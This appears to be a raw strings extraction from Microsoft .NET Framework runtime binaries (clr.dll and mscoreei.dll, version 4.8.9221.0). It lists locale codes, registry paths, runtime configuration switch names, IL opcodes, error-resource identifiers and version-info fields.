de-de de-li de-lu ca-es cs-cz da-dk de-at en-ca en-gb en-ie en-jm dv-mv el-gr en-au en-bz en-za en-zw es-ar es-bo en-nz en-ph en-tt en-us es-ec es-es es-gt es-hn es-cl es-co es-cr es-do es-pr es-py es-sv es-uy es-mx es-ni es-pa es-pe fi-fi fo-fo fr-be fr-ca es-ve et-ee eu-es fa-ir gl-es gu-in he-il hi-in fr-ch fr-fr fr-lu fr-mc is-is it-ch it-it ja-jp hr-hr hu-hu hy-am id-id kok-in ky-kg lt-lt lv-lv ka-ge kk-kz kn-in ko-kr ms-my nb-no nl-be nl-nl mk-mk mn-mn mr-in ms-bn pt-pt ro-ro ru-ru sa-in nn-no pa-in pl-pl pt-br sr-latn-cs sv-fi sv-se sw-ke sk-sk sl-si sq-al sr-cyrl-cs tr-tr tt-ru uk-ua ur-pk syr-sy ta-in te-in th-th zh-cht zh-cn zh-hans zh-hant uz-cyrl-uz uz-latn-uz vi-vn zh-chs zh-hk zh-mo zh-sg zh-tw zh-Hans bg-BG ar-SA da-DK cs-CZ zh-TW ca-ES fi-FI es-ES_tradnl el-GR de-DE is-IS hu-HU he-IL fr-FR nl-NL ko-KR ja-JP it-IT rm-CH pt-BR pl-PL nb-NO sk-SK hr-HR ru-RU ro-RO ur-PK th-TH sv-SE sq-AL sl-SI be-BY uk-UA id-ID tg-Cyrl-TJ lt-LT lv-LV et-EE eu-ES hy-AM vi-VN xh-ZA tn-ZA mk-MK hsb-DE fo-FO ka-GE af-ZA zu-ZA ms-MY se-NO mt-MT hi-IN tk-TM sw-KE ky-KG kk-KZ pa-IN bn-IN tt-RU uz-Latn-UZ te-IN ta-IN or-IN gu-IN mr-IN as-IN ml-IN kn-IN cy-GB bo-CN mn-MN sa-IN kok-IN gl-ES lo-LA km-KH am-ET iu-Cans-CA si-LK syr-SY fil-PH ps-AF fy-NL ne-NP quz-BO yo-NG ha-Latn-NG dv-MV kl-GL lb-LU ba-RU nso-ZA moh-CA arn-CL ii-CN ig-NG oc-FR mi-NZ ug-CN br-FR qut-GT sah-RU gsw-FR co-FR qps-ploc prs-AF wo-SN rw-RW de-CH zh-CN ar-IQ qps-ploca it-CH fr-BE es-MX en-GB sr-Latn-CS pt-PT nn-NO nl-BE se-SE dsb-DE az-Cyrl-AZ sv-FI bn-BD uz-Cyrl-UZ ms-BN ga-IE quz-EC tzm-Latn-DZ iu-Latn-CA mn-Mong-CN de-AT zh-HK ar-EG qps-plocm sr-Cyrl-CS fr-CA es-ES en-AU zh-SG ar-LY quz-PE se-FI fr-CH es-GT en-CA de-LU zh-MO ar-DZ smj-NO hr-BA fr-LU es-CR en-NZ de-LI en-IE ar-MA smj-SE bs-Latn-BA sma-NO sr-Latn-BA fr-MC es-PA sr-Cyrl-BA es-DO en-ZA ar-TN es-VE en-JM ar-OM sma-SE en-029 ar-YE sms-FI bs-Cyrl-BA en-BZ ar-SY smn-FI es-CO es-AR en-TT ar-JO es-PE ar-KW es-EC en-ZW ar-LB es-UY ar-AE es-CL en-PH en-IN ar-QA es-PY ar-BH en-SG es-SV en-MY es-BO es-US es-PR es-NI es-HN x-IV_mathan zh-Hant zh-CN_stroke ka-GE_modern hu-HU_technl de-DE_phoneb ja-JP_radstr zh-TW_pronun zh-MO_stroke zh-SG_stroke standalone encoding ucs-2 \assembly \GAC_32 \Microsoft.Net\assembly mscoree.dll \GAC_MSIL culture null null DefaultDomain MultiCoreJitProfile SOFTWARE\Microsoft\.NETFramework\Policy\APTCA .exe designerNamespaceResolution NetFx40_LegacySecurityPolicy legacyCasPolicy APPDOMAIN_ID CACHE_BASE __FUSION_CACHE__ __FUSION_APP_CACHE_DIRECTORY__ APP_CONFIG_BLOB APP_CONFIG_FILE UseRandomizedStringHashAlgorithm CompatSortNLSVersion BreakOnEELoad %jjjj SOFTWARE\Microsoft\.NETFramework\Policy\Servicing Global\CLR_PerfMon_StartEnumEvent yKERNEL32.DLL developerSettings developmentMode disableNativeImageLoad PERF_OUTPUT JIT_PERF_OUTPUT DevOverrideEnable Cor_CLR_WRITER Cor_CLR_WRITER\Cor_SxSPublic_IPCBlock Cor_CLR_IPCBlock_%d mscordacwks.dll AttachThreadAlwaysOn RegistryRoot AssemblyPath NicPath ZapSet BindingConfiguration gdi32.dll gdi32 gdiplus.dll gdiplus ole32 mscoree user32.dll shfolder version.dll WinRT ARMEnabled Windows8ProfileAPICheckFlag disableStackOverflowProbing AvoidCoopTransitionsOnFatalErrorDuringGC GCStressMix GCStressStep GCRetainVM GCLOHThreshold GCStress GCHeapCount GCName GCNoAffinitize NetFx40_PInvokeStackResilience SpinBackoffFactor SpinLimitProcCap SpinInitialDuration SpinRetryCount Monitor_SpinWithoutSleepWhenWaiterIsPresent SpinLimitProcFactor SpinLimitConstant NgenBind_OptimizeNonGac NGenAssemblyUsageLog NGenAssemblyUsageLogRefreshInterval COR_ENABLE_PROFILING performanceScenario ETWEnabled StressLog Thread_DeadThreadGCTriggerPeriodMilliseconds ZapBBInstr LogCCWRefCountChange EnableRCWCleanupOnSTAShutdown InteropValidatePinnedObjects InteropLogArguments legacyByValArrayMarshal alwaysFlowImpersonationPolicy disableFusionUpdatesFromADManager disableCachingBindingFailures legacyImpersonationPolicy InstallRoot SleepOnExit useLegacyIdentityFormat UseParentMethodData UseMethodDataCache BaseIdentity IdentityType DownloadCacheQuotaInKB shfolder.dll Wuser32 AllowStrongNameBypass bypassTrustedAppStrongNames AddRejitNops ADURetryCount GCgen0size GCBreakOnOOM gcForceCompact GCPollType GCLOHCompact GCSegmentSize HeapVerify GCHeapAffinitizeMask JitFramed JitAlignLoops JITMinOpts JITMitigateSpeculation JitOptimizeType LoaderOptimization HardPrejitEnabled ForceEnc StressThreadCount ZapRequire legacyApartmentInitPolicy newComVTableLayout legacyComHierarchyVisibility legacyComVTableLayout developerInstallation disableCommitThreadStack enforceFIPSPolicy DisableStackwalkCache DoubleArrayToLargeObjectHeap generatePublisherEvidence legacyHMACMode legacyUnhandledExceptionPolicy legacyVirtualMethodCallVerification legacyLoadMscorsnOnStartup legacyNullReferenceExceptionPolicy SymbolReadingPolicy UseNewCrossDomainRemoting gcServer gcTrimCommitOnLowMemory gcConcurrent Thread_DeadThreadCountThresholdForGCTrigger Global\Cor_Private_IPCBlock_v4_%d OptimizeUsedBinaries D:P(A;;GRGW;;;BA)(A;;GRGW;;;%s) S:(ML;;NWNR;;;%s) NotApp EnableLog LoggingLevel ForceLog LogFailures LogResourceBinds OnlyUseLatestCLR FileInUseRetryAttempts FileInUseMillisecondsBetweenRetries FusionEnableForcedFullClosureWalk UseLegacyIdentityFormat USE_LEGACY_IDENTITY_FORMAT DisableMSIPeek Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options CacheLocation fusion.localgac \combase.dll %s\Microsoft\CLR_v4.0_32\UsageLogs\%s.log LOCALAPPDATA api-ms-win-core-memory-l1-1-0.dll api-ms-win-core-libraryloader-l1-1-0.dll ntdll.dll AssemblyPath2 UnsupportedCompatSwitchesEnabled VirtualCallStubLogging Software\Microsoft\Fusion GCNumaAware Crst_DisableSpinWait ReaderWriterLock_UseFixedIdGeneration advapi32 config\machine.config .config api-ms-win-appmodel-runtime-l1-1-2.dll CONFIG DisableConfigCache api-ms-win-core-quirks-l1-1-0.dll api-ms-win-core-synch-l1-2-0.dll api-ms-win-eventing-provider-l1-1-0 __COR_COMMAND_LINE_APP_FULL_NAME__ mscorlib.dll rRELPATH APPDOMAIN_MANAGER_TYPE appDomainManagerAssembly APPDOMAIN_MANAGER_ASM appDomainManagerType HashAlgorithm UserList TestPublicKey ProvType SignAlgorithm CacheVerify Software\Microsoft\StrongName MachineKeyset KeySpec Software\Microsoft\StrongName\RevokedKeys ZapDisable \NativeImages_ Software\Microsoft\StrongName\Verification SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full Global\CPFATE_%d_%s 1,"%s","%s",%d \GAC_ARM64 DisableFXClosureWalk HOST_CONFIG MACHINE_CONFIG urn:schemas-microsoft-com:asm.v1^assemblyBinding Software\Microsoft\Fusion\PublisherPolicy Latest xmlns: urn:schemas-microsoft-com:asm.v2^assemblyBinding configuration xmlns Default oleaut32 \\.\pipe\CPFATP_%d_%s ProfAPIMaxWaitForTriggerMs __FUSION_APPCFG_DOWNLOAD_INFO__ jjjjjj __FUSION_APPCFG_FILE_HANDLE__ NGen_JitName wldp.dll CheckCOMObjectCLSID Microsoft Base DSS and Diffie-Hellman Cryptographic Provider jjjjjj loadFromRemoteSources FORCE_ASSEMREF_DUPCHECK .ctor value__ #Strings #GUID #Blob file: COMP_ENC_OPENSCOPE RefEmit_InMemoryManifestModule file:/// Argument_StructMustNotBeValueClass Global\ CLSID\ SOFTWARE\Classes\ \InprocServer32 sxs.dll Class \mscoree.dll InprocServer32 CodeBase RuntimeVersion ImplementedInThisVersion CorMetaDataDispenser CorMetaDataDispenserRuntime CorRuntimeHost CLRRuntimeHost CLRPrivRuntime \LocalServer32 AlwaysReadHKCRForCLSIDs unsafeTypeForwarding \GAC ReadyToRunLogFile UTF-8 runtime PreferComInsteadOfManagedRemoting \Microsoft\CLR Security Config\ 4.0.30319 shell32.dll config\ Software\Microsoft\Windows NT\CurrentVersion\ProfileList\ NetFx45_CultureAwareComparerGetHashCode_LongStrings mscorrc.dll SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\%ws\Installer\Assemblies\%ws Software\Microsoft\Installer\Assemblies\%ws SOFTWARE\Classes\Installer\Assemblies\%ws SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\%ws\Installer\Assemblies\Global Software\Microsoft\Installer\Assemblies\Global SOFTWARE\Classes\Installer\Assemblies\Global S-%u-%lu -%lu JitName SIMD16ByteOnly AltJit api-ms-win-core-xstate-l2-1-0.dll FeatureSIMD JitTimeLogFile ToString AddRef Invoke GetTypeInfoCount GetTypeInfo GetIDsOfNames QueryInterface Value GetEnumerator GCNewMemoryPressure EnableCCWSupportIAgileObjectForIInspectable DisableCCWSupportIAgileObject Windows. Windows.Foundation.Collections.IIterator`1 Release APP_CFG_LOCAL_FILEPATH Software\Microsoft\.NETFramework MsBetweenAttachCheck Control Panel\International sYearMonth ThreadPool_EnableWorkerTracking ThreadPool_DisableStarvationDetection The CLR ThreadPool detected work queue starvation! USER32 GDI32 ADVAPI32 %ws^ enabled value 1.0.0.0 urn:schemas-microsoft-com:asm.v1^publisherPolicy newVersion oldVersion urn:schemas-microsoft-com:asm.v1^assemblyIdentity urn:schemas-microsoft-com:asm.v1^bindingRedirect appliesTo urn:schemas-microsoft-com:asm.v1^probing urn:schemas-microsoft-com:asm.v1^qualifyAssembly urn:schemas-microsoft-com:asm.v1^dependentAssembly 0.0.0.0 NotSupported_WinRT_PartialTrust DisableAnonymouslyHostedDynamicMethodCreatorSecurityCheck CLR20r3 MoAppCrash Exception .netmodule Server neutral .PDB StressLogSize TotalStressLogSize Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing TrustedPublisher .Default ,0x%02hx%02hx%02hx%02hx%02hx%02hx S-%lu- CIdentityAttributeEnumerator AllowPotentiallyInsecureAutoNgenBehaviors Software\Microsoft\.NETFramework\NGen\Policy\v4.0 __COR_COMMAND_LINE_PAR System.Runtime.InteropServices.WindowsRuntime.NotifyCollectionChangedToManagedAdapter System.Runtime.InteropServices.WindowsRuntime.INotifyCollectionChanged_WinRT System.Runtime.InteropServices.WindowsRuntime.INotifyPropertyChanged_WinRT System.Runtime.InteropServices.WindowsRuntime.NotifyCollectionChangedToWinRTAdapter System.Runtime.InteropServices.WindowsRuntime.NotifyPropertyChangedToWinRTAdapter System.Runtime.InteropServices.WindowsRuntime.NotifyPropertyChangedToManagedAdapter System.Runtime.InteropServices.WindowsRuntime.ICommandToManagedAdapter System.Runtime.InteropServices.WindowsRuntime.ICommand_WinRT System.Runtime.InteropServices.WindowsRuntime.ICommandToWinRTAdapter Load Anonymous pRetVal MD_UseMinimalDeltas MD_DeltaCheck AltJitName NgenAllowMscorlibSoftbind GCStressMaxFGCsPerBGC GCStressStartAtJit GCStressStart JOB_MEMORYLIMIT_COMPAT RUNNING_IN_CONTAINER KBytes KBytes/sec Bytes cycles !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ CdfGuidTable CdfGuidTableEnumerator CdfDefinitionIdentityTable CdfReferenceIdentityTable CdfStringTable CdfStringTableEnumerator CdfBinaryTable Version= CdfDefIdTableEnumerator CdfRefIdTableEnumerator ATTLIST ELEMENT __AssemblyInfo__.ini System.Diagnostics.StackTrace System.Globalization.Extensions System.Security.SecureString 4.3.0.0 System.Threading.Overlapped System.Xml.XPath.XDocument System.IO.Compression System.Net.Http AMD64 ARM6 .tlb 4.0.30319.0 .NET Runtime true protojit.dll processorArchitecture ia64 amd64 arm64 Remoting_AppDomainUnloaded_ThreadUnwound en-US Unknown false Argument_InvalidValue NotSupported_CollectibleBoundNonCollectible NotSupported_CollectibleAssemblyResolve SwallowUnhandledExceptions NullReferenceExceptionOnAV EagerlyGenerateRandomAsymmKeys FullTrustListAssembliesInGac DateTimeParseIgnorePunctuation OnlyGACDomainNeutral DisableReplacementCustomCulture Unhandled Exception: Argument_BadSigFormat ArgumentNull_Generic LoadFrom missing \VarFileInfo\Translation ArgumentNull_Obj StackOverflowException Argument_NeedStructWithNoRefs type Arg_InvalidUTF8String ArgumentOutOfRange_Capacity capacity Cannot embed generic MethodDesc InvalidOperation_TypeCannotBeBoxed CLR:( Unable to load CLR DLL during ngen shadowCopyVerifyByTimestamp for the profile data in from profile data. The error is in profile data. Arg_ObjObj Overflow_UInt16 Overflow_Int32 Overflow_Int64 Arg_InvalidBase radix startIndex ArgumentOutOfRange_Index Arg_CannotHaveNegativeValue Format_EmptyInputString Format_NoParsibleDigits Overflow_NegativeUnsigned Format_ExtraJunkAtEnd Arg_MustBePrimArray dest count ArgumentOutOfRange_NeedNonNegNum IndexOutOfRange_IORaceCondition Argument_NeedNonGenericType Arg_DlgtTargMeth NotSupported_CollectibleDelegateMarshal method managedDebugger unmanagedDebugger ConfigFile AsynchronousThreadAbort Framework CallbackOnCollectedDelegate BindingFailure DangerousThreadingAPI ContextSwitchDeadlock DirtyCastAndCallOnInterface DateTimeInvalidLocalFormat DllMainReturnsFalse DisconnectedContext FailedQI ExceptionSwallowedOnCallFromCom GcManagedToUnmanaged FatalExecutionEngineError IllegalPrepareConstrainedRegion GcUn.i8 conv.ovf.u4 refanyval conv.ovf.u8 mkrefany ckfinite conv.u2 ldtoken conv.i conv.u1 conv.ovf.u conv.ovf.i add.ovf.un add.ovf mul.ovf.un mul.ovf sub.ovf.un sub.ovf leave endfinally stind.i leave.s prefix7 conv.u prefix5 prefix6 prefix3 prefix4 prefix1 prefix2 arglist prefixref cgt.un ldftn clt.un ldarg ldvirtftn starg ldarga ldloca ldloc localloc stloc unaligned. endfilter tail. volatile. constrained. initobj initblk cpblk sizeof rethrow readonly. refanytype endmac illegal codelabel WinTypes.dll NullReference_This Argument_InvalidFlag ArgumentOutOfRange_Enum ArgumentOutOfRange_NeedNonNegOrNegative1 millisecondsTimeout Unknown error. LPWSTR LPSTR unknown InvalidCast_StoreArrayElement Compilation Domain eVALUETYPE unknown at Argument_NeedNonGenericObject Argument_MustHaveLayoutOrBeBlittable structure Argument_MustBeRuntimeType destination source pfnMethodToWrap pbSignature handle ArgumentOutOfRange_Count length Argument_ObjIsWinRTObject Arg_MustBeInterface pUnk Argument_TypeMustBeVisibleFromCom pTLB Arg_NoITypeLib psapi.dll latedStorage ArgumentNull_Array Arg_InvalidSwitchName flags Arg_NoImporterCallback Argument_VerStringTooLong OriginalFilename LegalTrademarks ProductVersion ProductName FileDescription LegalCopyright InternalName CompanyName Comments \\?\ ADULazyMemoryRelease TimeSpan_LegacyFormatMode DateTime_NetFX35ParseMode ThrowUnobservedTaskExceptions NetFx45_LegacyManagedDeflateStream CngImplicitPersistKeySet EnableAmPmParseAdjustment BreakOnBadExit BreakOnRetailAssert DisableLoadingWindowsPDB FailFastOnCorruptedStateException StatsUpdatePeriod DisableIBC ConvertIbcData UseIBCFile StackSamplingEvery StackSamplingNumMethods StackSamplingAfter AltJitNgen MultiCoreJitProfileWriteDelay WinMDPath BreakOnOutOfMemoryWithinRange logFatalError LogLevel FusionLogFileNamesIncludePid AssertOnBadImageFormat NGenClean NGenMaxLogSize NGenFramed NGenSimulateDiskFull NGenEnableCreatePdb PartialNGen NgenDisableFinalTriageForZapLoop Ningen NgenAdjustNativeMetadataToMatchFusionILClosure NGenCopyFromRepository_SetCachedSigningLevel COR_PROFILER_PATH_32 COR_PROFILER COR_PROFILER_PATH ProfAPI_ProfilerCompatibilitySetting ProfAPI_DetachMinSleepMs ETW_ObjectAllocationEventsPerTypePerSec ProfAPI_DetachMaxSleepMs ProfAPI_AttachProfilerMinTimeoutInMs ProfAPI_ValidateNGENInstrumentation ThreadPool_DebugBreakOnWorkerStarvation PROCESSOR_COUNT DisableWatsonForManagedExceptions AttemptFullInterfaceCallDevirtualization ZapBBInstrDir AllowMultiModuleNativeImageUsage ZapRequireExcludeList ZapRequireList ReadyToRunExcludeList LocalWinMDPath AllowDComReflection ignorePerAppDomainShadowCopyVerifyByTimestamp enableVerboseInstallLogging IgnoreDllMainReturn NativeImageRequire MergeCriticalAttributes Prepopulate1 NoProcedureSplitting RestrictedGCStressExe RepositoryDir SuccessExit %s\%s ERROR: Could not do string conversion. ExecTime tr-TR az-Latn-AZ Wow6432Node\ culture= version= Record\ InstallRootArm64 SOFTWARE\Microsoft\.NETFramework fa-IR eMicrosoft Base Cryptographic Provider v1.0 Microsoft Enhanced Cryptographic Provider v1.0 no-public-key name PublicKeyToken \system32 language publicKeyToken \SystemRoot x-ww typeName Dtype \Registry\Machine\ \Registry\Machine \system platformScope machine \??\unc\ ole32.dll process data version y\Registry \??\ none processorArchitecture e\??\unc publicKey NumberFormatInfo indexB indexA Overflow_Decimal Local Settings .NET Runtime version %s - %s COMPlus_Disable_SetThreadErrorMode legacyMode devpath DEVPATH dynamicClass Arg_InvalidANSIString Arg_MustBeStringPtrNotAtom Cannot embed generic TypeHandle InvalidOperation_CantInstantiateAbstractClass InvalidOperation_CantInstantiateFunctionPointer Failed to load JIT compiler Failed to load alternative JIT compiler Native image loaded at base address %08x rather than preferred address: %08x NGen_JitName should have a .DLL suffix Invalid runtime DLL ID Checked/free mismatch with native image. Processor type recorded in native image doesn't match this machine's processor. Required CPU features recorded in native image don't match this machine's processor. CLR version recorded in native image doesn't match t NotifyBadAppCfg NoGuiFromShim NotSupported_TooManyArgs Overflow_UInt64 Overflow_SByte Overflow_Int16 BCLCorrectnessWarnings BCLPerfWarnings LogEnable LogToConsole ManagedLogFacility SafeHandleStackTraces delegate NotSupported_DelegateMarshalToWrongDomain api-ms-win-core-winrt-error-l1-1-1.dll api-ms-win-core-winrt-error-l1-1-0.dll System.Runtime.InteropServices.WindowsRuntime.PropertyChangedEventHandler_WinRT System.Runtime.InteropServices.WindowsRuntime.NotifyCollectionChangedEventHandler_WinRT Argument_NoUnderlyingCCW CALLI. Detected managed heap corruption, likely culprit is interop call through method ' .maxstack %d // %s %d (0x%04x) .try IL_%04x to IL_%04x catch handler IL_%04x to IL_%04x .locals %s .try IL_%04x to IL_%04x finally handler IL_%04x to IL_%04x Remoting_InvalidValueTypeFieldAccess Arg_TypeNotSupported InvalidOperation_CriticalTransparentAreMutuallyExclusive Windows.ApplicationModel.DesignMode Windows.ApplicationModel.Core.CoreApplication NotSupported_PIAInAppxProcess GenerateTrackingInfo AllowOptimize .NET Framework Debugging Control ArgumentOutOfRange_ArrayLBAndLength FNPTR !!%d Arg_MissingFieldException NotSupported_CollectibleResolveFailure IAgileObject Windows.Foundation.IPropertyValue Argument_TypeNotValid Windows.Foundation.IReferenceArray`1 return value parameter #%u 2-byte signed int 4-byte signed int 4-byte real 8-byte real currency date binary string IDispatch * Scode boolean VARIANT * IUnknown * 16-byte fixed point signed char unsigned char unsigned short signed int unsigned int 8-byte signed int 8-byte unsigned int void user defined structure char 1-byte C bool NotSupported_ByRefReturn ReflectionTypeLoad_LoadFailed RFLCT.Targ_StatFldReqTarg APTCA_FLAG Rejecting native image / code sharing because there was an error obtaining the public key token for %s: 0x%x Rejecting native image / code sharing because there was an error checking for conditional APTCA: 0x%x Rejecting code sharing because a dependent assembly did not match the conditional APTCA share mode Rejecting code sharing because an assembly in the closure does not have a path Rejecting code sharing because of an error enumerating dependent assemblies: 0x%x Rejecting native image because dependency assemblyref 0x%x is killbitted. Rejecting native image because could not get name for assemblyref 0x%x for native image dependency: hr=0x%x Arg_InvalidOleVariantTypeException ArgumentNull_SafeHandle fixed array of ANSI char (size = %i bytes) fixed array of %s exposed as %s elements (array size = %i bytes) fixed array of %s (array size = %i bytes) IDispatch (basic) IUnknown safe array of %s exposed as %s elements (array size = %i bytes) object safearray of %s (array size = %i bytes) nested layout class %s nested value class %s Unicode char 4-byte pointer 8-byte pointer embedded LPWSTR (length %d) embedded LPSTR (length %d) ANSI char Windows Bool DECIMAL DATE CBool SafeHandle illegal type CURRENCY VARIANT Bool VARIANT HSTRING BSTR CriticalHandle Arg_OleAutDateScale 0x%x IL_%04x: callback NotSupported_ContainsStackPtr NotSupported_Constructor Acc_CreateInterface InvalidOperation_MetaDataError NotSupported_WaitAllSTAThread NotSupported_SignalAndWaitSTAThread assemblyIdentity 0x%.8X (%S) COMPlus_Disable_GetTempPath2 Common Language Runtime Internal error: 0x%08x TreatCustomZonesAsInternetZone PerfOutput DBase C:\PerfData.dat (%s) ExecUnitDescr=%s Jit Time Non Jit Cycles Jit Cycles Total Jit Time Methods Jitted Non Jit Time Total Jit Cycles IL Code compiled/sec IL Code Compiled X86 Code Emitted State Disallowed %ws%d.%d.%ws urn:schemas-microsoft-com:asm.v1^codeBase urn:schemas-microsoft-com:asm.v2^assemblyStore urn:schemas-microsoft-com:asm.v2^devOverridePath urn:schemas-microsoft-com:asm.v1^supportPortability urn:schemas-microsoft-com:asm.v1^linkedConfiguration privatePath partialName fullName apply enable SHADOW_COPY_DIRS %ws %ws %ws (%ws @ %ws) *** %ws^%ws imagehlp.dll UTF-16LE UTF-16BE string Arg_MustBeString jjjj CLR: Managed code called FailFast without specifying a reason. CLR: Managed code called FailFast, saying " NotSupported_OleAutBadVarType InvalidCast_OATypeMismatch C:\WINDOWS\assembly\NativeImages_v4.0.30319_32 C:\Windows\Microsoft.NET\Framework\v4.0.30319\ C:\WINDOWS C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\ CLRDEBUGINFO COREXTERNALDATAACCESSRESOURCE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft .NET Runtime Common Language Runtime - WorkStation FileVersion 4.8.9221.0 built by: NET481REL1LAST_25H2 InternalName clr.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename clr.dll ProductName Microsoft .NET Framework ProductVersion 4.8.9221.0 Comments Flavor=Retail PrivateBuild DDBLD299B VarFileInfo Translation SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full Release api-ms-win-core-fibers-l1-1-1 api-ms-win-core-synch-l1-2-0 ((((( H ( ((((( H api-ms-win-appmodel-runtime-l1-1-1 api-ms-win-core-datetime-l1-1-1 api-ms-win-core-fibers-l1-1-1 api-ms-win-core-file-l2-1-1 api-ms-win-core-localization-l1-2-1 api-ms-win-core-localization-obsolete-l1-2-0 api-ms-win-core-processthreads-l1-1-2 api-ms-win-core-string-l1-1-0 api-ms-win-core-synch-l1-2-0 api-ms-win-core-sysinfo-l1-2-1 api-ms-win-core-winrt-l1-1-0 api-ms-win-core-xstate-l2-1-0 api-ms-win-rtcore-ntuser-window-l1-1-0 api-ms-win-security-systemfunctions-l1-1-0 ext-ms-win-kernel32-package-current-l1-1-0 ext-ms-win-ntuser-dialogbox-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-0 advapi32 kernel32 user32 v1.0 1.0.3705 1.0.3300 RegistryRoot kernel32.dll \clr.dll \mscorwks.dll Version AssemblyPath AssemblyPath2 NicPath InstallRoot kernel32 CLRLoadLogDir \\?\ KERNEL32.DLL COMPlus_ .config OnlyUseLatestCLR ApplicationMigrationRuntimeActivationConfigPath BuildFlavor \v1.0 COMPLUS_ DefaultVersion UseLegacyV2RuntimeActivationPolicyDefaultValue api-ms-win-appmodel-runtime-l1-1-2.dll Software\Microsoft\.NETFramework clr.dll mscoreeis.dll .local NoClientChecks SOFTWARE\Microsoft\Fusion default \SKUs\ \v1. api-ms-win-eventing-provider-l1-1-0 Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December MM/dd/yy dddd, MMMM dd, yyyy HH:mm:ss en-US mscoree.dll Standard CLI 2005 Standard CLI 2002 !"#$%&' ()*+,-./0123 456789:;<=>?@ABCDEFGH IJKL MNOPQ VWXYZ[\]^_` bcde fghijklmnopqrstuvwxyz mscorpe.dll mscorpe advapi32 msvcr110_clr0400.dll msvcp110_clr0400.dll .activation_config 1.0.3705.0 1.0.3300.0 user32.dll CLR: Multiple mscoree.dll instances are loaded in the process. Software\Microsoft\.NETFramework\Advertised %u,%u.%03u, InstallRootARM64 requiredRuntime supportedRuntime gcServer etwEnable appDomainResourceMonitoring forcePerformanceCounterUniqueSharedMemoryReads useLegacyV2RuntimeActivationPolicy imageVersion enabled Install SOFTWARE\Microsoft\NET Framework Setup\DotNetClient\v3.5 client Software\Microsoft\Fusion HKLM\ The minimum supported platform is Windows 2000 Platform not supported api-ms-win-appmodel-runtime-l1-1-0.dll (null) ar-ae ar-bh ar-dz ar-eg ar-iq ar-jo ar-kw ar-lb ar-ly ar-ma ar-om ar-qa ar-sa ar-sy ar-tn ar-ye az-az-cyrl az-az-latn be-by bg-bg bn-in bs-ba-latn ca-es cs-cz cy-gb da-dk de-at de-ch de-de de-li de-lu div-mv el-gr en-au en-bz en-ca en-cb en-gb en-ie en-jm en-nz en-ph en-tt en-us en-za en-zw es-ar es-bo es-cl es-co es-cr es-do es-ec es-es es-gt es-hn es-mx es-ni es-pa es-pe es-pr es-py es-sv es-uy es-ve et-ee eu-es fa-ir fi-fi fo-fo fr-be fr-ca fr-ch fr-fr fr-lu fr-mc gl-es gu-in he-il hi-in hr-ba hr-hr hu-hu hy-am id-id is-is it-ch it-it ja-jp ka-ge kk-kz kn-in kok-in ko-kr ky-kg lt-lt lv-lv mi-nz mk-mk ml-in mn-mn mr-in ms-bn ms-my mt-mt nb-no nl-be nl-nl nn-no ns-za pa-in pl-pl pt-br pt-pt quz-bo quz-ec quz-pe ro-ro ru-ru sa-in se-fi se-no se-se sk-sk sl-si sma-no sma-se smj-no smj-se smn-fi sms-fi sq-al sr-ba-cyrl sr-ba-latn sr-sp-cyrl sr-sp-latn sv-fi sv-se sw-ke syr-sy ta-in te-in th-th tn-za tr-tr tt-ru uk-ua ur-pk uz-uz-cyrl uz-uz-latn vi-vn xh-za zh-chs zh-cht zh-cn zh-hk zh-mo zh-sg zh-tw zu-za comctl32.dll v1.0.3705 mscorwks.dll v1.1 2.0.50727 4.0.30319.0 CLSID\ \InprocServer32 v4.0.0 mscordbi.dll configuration startup runtime version mscorsvr.dll CppCodeProvider b03f5f7f11d50a3a Microsoft.JScript Microsoft.VisualC.VSCodeProvider Microsoft.XslDebugger MMCEx 31bf3856ad364e35 mscorlib b77a5c561934e089 PresentationFramework System.Data System.EnterpriseServices System.ServiceModel %s was not a DWORD in the registry! It's type is %d. v4.0.30319 AlwaysReadHKCRForCLSIDs 3gbEatMem IJWEntrypointCompatMode Assembly Class mscorrc.dll Wow6432Node\ SOFTWARE\Classes\ version= Record\ \LocalServer32 RuntimeVersion standalone encoding mscordacwks mscordaccore v2.0 \CorperfmonExt.dll true false SOFTWARE\Microsoft\.NETFramework\Policy\Standards CompanyName ProductName InternalName ProductVersion \StringFileInfo\040904b0\ \StringFileInfo\000004b0\ \StringFileInfo\%04x04b0\ 0x%.8X (%S) NETFX. user32 W **** MessageBox invoked, title '%s' **** %s ******** WindowsShell.manifest &Abort &Debug &Ignore .NET Runtime UTF-16LE UTF-16BE UTF-8 CDATA quot apos ucs-2 utf-16le Policy\Standards Policy\ Policy\Upgrades VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft .NET Runtime Execution Engine FileVersion 4.8.9221.0 built by: NET481REL1LAST_25H2 InternalName mscoreei.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename mscoreei.dll ProductName Microsoft .NET Framework ProductVersion 4.8.9221.0 Comments Flavor=Retail PrivateBuild DDBLD299B VarFileInfo Translation KERNEL32.DLL KERNELBASE.DLL ekernelbase.dll api-ms-win-core-guard-l1-1-0.dll (null) ((((( H h(((( H H Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December MM/dd/yy dddd, MMMM dd, yyyy HH:mm:ss USER32.DLL CONOUT$ mscoreei.dll Error A fatal error occurred. However, mscorees.dll could not be loaded to display the appropriate error message. Please reinstall the .NET Framework. v1.0.3705 %c%u.%u%n Version COMPlus_ RTL_True Software\Microsoft\.NETFramework .local InstallRoot mscor.dll v1.0 v1.1 v4.0.0 .config OnlyUseLatestCLR BuildFlavor 1.0.3705 1.0.3705.0 1.0.3300 1.0.3300.0 kernel32.dll omscorsn.dll mscorwks.dll CLSID\ \InprocServer32 mscorsvc.dll \Microsoft.NET Fusion.dll luser32.dll mscorees.dll \Server lv2.0 advapi32.dll CorperfmonExt.dll 